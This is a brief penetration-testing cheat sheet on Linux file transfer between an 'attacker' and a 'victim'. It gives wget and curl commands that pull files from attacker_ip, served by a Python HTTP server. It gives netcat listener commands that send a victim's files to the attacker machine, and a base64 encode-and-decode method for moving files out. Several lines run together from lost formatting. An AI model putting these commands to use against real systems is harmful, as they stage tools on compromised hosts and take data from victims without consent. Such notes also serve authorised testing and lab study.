Linux File Transfer
Upload file from attacker to victim
To use the wget and curl options, you need to host the files on your web server using python3 -m http.server
Wget
wget http://attacker_ip:port/fileCurl
curl http://attacker_ip:port/file --output fileDownload file from victim to attacker
Netcat
On Victim:
nc -lvp 4444 < file.ziporbusybox nc -lvp 4444 < file.zipAttacker Machine:
nc victim_ip 4444 > file.zipBase64
Note: If the file is relatively large, consider using this method carefully as it will produce a very long output.
On Victim:
cat file.zip | base64 -w 0Attacker Machine:
echo -n '<base64>' | base64 -d > file.zip